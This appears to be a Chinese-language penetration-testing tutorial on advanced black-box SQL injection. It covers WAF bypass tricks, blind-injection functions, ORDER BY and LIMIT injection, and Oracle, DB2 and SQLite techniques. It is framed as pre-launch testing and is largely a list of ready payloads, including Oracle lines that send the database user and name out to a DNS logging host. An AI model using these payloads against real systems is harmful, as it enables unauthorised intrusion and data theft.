黑盒sql注入测试进阶篇
字数 2532 2025-08-10 08:28:13
黑盒SQL注入测试进阶指南
前言
本文档详细讲解黑盒SQL注入测试的高级技术,主要针对无错误回显的注入场景,涵盖盲注技术和WAF绕过方法。这些技术在系统上线前的渗透测试中尤为实用。
基本绕过技术
1. 数据溢出
- 通过插入大量垃圾数据或多个参数来绕过WAF检测
2. 参数污染
- 利用WAF和Web服务器处理多个相同参数时的逻辑差异
- 示例:当
id=1且user()被过滤时,构造id=us&id=er()
3. 编码技术
- 使用服务器能识别但WAF无法识别的编码方式:
- IBM加密
- 二次编码
- Base64编码
4. 请求修改
- 改变请求方式:POST改为GET,HTTP改为HTTPS
- 修改请求包为上传文件的数据包构造畸形数据
- 请求URL添加JS白名单文件
5. 分块传输
- 示例:将
id=1'union select 1,2,3改为id=1'uni 1d on sel ect 1,2,3
6. 特殊符号插入
- 单行注释:
--、# - 示例:
id=1'union--%0a1--%0aselect--%0a1 - 空白符:
%00、\u0007、%80、[0x09,0x0a-0x0d,0x20,0xa0]等 - 各种转义字符
7. 字符等价替换
- 空格替换:
/**/、+、%20、%0a、%00、%a0、()、""、%0d - 逗号绕过:
union select 1,2,3改为union select * from ((select 1)a JOIN (select 2)b JOIN (select 3)c)%23substr((select database()),1,2)改为substr((select database()) from 1 for 2)
- 逻辑运算符替换:
and=&&or=||xor=|not=!
- 注释符绕过:用两个单引号闭合,如
id=-1'or+'a'='a'+or+'a'='a
8. 延时技术
benchmark(count,expr):让expr执行count次来制造延时
盲注技术
1. 字符串截取函数
substring()substr()mid()length()left()right()insert()trim()
2. 字符串连接函数
concat(str1,str2):连接两个或多个字符串group_concat(str1,str2):多行结果用逗号分隔
3. 编码转换函数
ascii()ord()bin()hex()
4. 数据库报错函数
exp(777)cot(0)pow(99999,999999)
5. 判断函数
if(1=1,1,1)case when 1=1 then 1 else 2 end
6. 其他实用函数
greatest(n1, n2, n3...):返回最大值least(n1,n2,n3...):返回最小值strcmp(str1,str2):字符串比较- 相同返回0
- 第一个小于第二个返回-1
- 其他情况返回1
- 示例:
id = 1 and strcmp(ascii(substr(username,1,1)),117) insert()函数用法:SELECT insert((insert(目标字符串,1,截取的位数,'')),2,9999999,'');
特殊注入场景
1. ORDER BY注入
原理特征:
- ORDER BY后跟字段名,无法预编译
- 前端参数特征:
orderby、sort=id(字段名)desc(排序方式)
测试过程:
- 将参数改为大数字测试(如
sort=1000) - 添加不同字段观察页面变化(如
sort=name) - 使用条件语句:
if(1=1,id,name):条件为真按id排序,为假按name排序if(1=1,sleep(3),1):条件为真延时3秒if(1=1,cot(0),id):条件为真报错case when 1=1 then id else name endcase when 1=1 then 1/0 else name end- 数据注入示例:
case when ascii(mid(user(),1,1))=11 then 1/0 else name end
2. LIMIT注入
适用版本:5.0.0 < MySQL < 5.6.6
技术要点:
- LIMIT后可使用
PROCEDURE和INTO函数 INTO需要写入shell权限
利用方法:
- 报错注入:
?id=1 procedure analyse(extractvalue(rand(),concat(0x7e,database())),1); - 时间型盲注:
?id=1 PROCEDURE analyse((select extractvalue(rand(),concat(0x7e,(IF(MID(database(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
特定数据库技术
Oracle和DB2
特殊表:
dual:虚拟表,保证只有一条记录user_tables:存放当前数据库所有表user_tab_columns:存放表的所有列
特性:
- 查询必须带表名(可使用
dual表) - 单行子查询返回多行需使用
where rownum=1 rownum伪序列数总是从1开始
示例:
- 爆表:
select table_name from user_tables where rownum=1 - 爆字段:
select column_name from user_tab_columns where table_name='tablename' and rownum=1
延时函数:
DBMS_PIPE.RECEIVE_MESSAGE():id=1'/**/AND/**/DBMS_PIPE.RECEIVE_MESSAGE('a',4)='a
判断函数:
decode(a,b,c,d):当a等于b返回c否则返回ddecode(mid(user,1,1),a,cot(0),1)instr(str,substr):返回substr在str中的位置id=1'and 1=(instr((select user from dual),'S'))
管道符利用:
- Oracle中
||为字符串连接符id=a'|cot(0)|' id=a'|decode(user,a,cot(0),2)|'
数据外带:
- 查询用户名:
and (select utl_inaddr.get_host_address((select user from dual)||'.dnslog地址') from dual)is not null -- - 查询库名:
and (select utl_inaddr.get_host_address((select name from v$database)||'.dnslog地址') from dual)is not null --
DB2特定技术
特殊表:
syscat.tablessyscat.columnssysibm.columns
爆表示例:
id=-1 union select 1,current schema,tabname,4 from syscat.tables where tabschema=current schema limit 0,1
SQLite
常用函数:
- 版本查询:
select sqlite_version() - 所有表名:
SELECT name FROM sqlite_master WHERE type='table' - 表结构:
SELECT sql FROM sqlite_master WHERE type='table'
盲注特性:
- 无
sleep函数,可用randomblob(N)制造延时 - 无
if函数,用case when替代
总结
本指南涵盖了黑盒SQL注入测试的高级技术,包括各种WAF绕过方法、盲注技术和特定数据库的注入技巧。实际测试中应结合多种技术构造payload进行fuzz测试。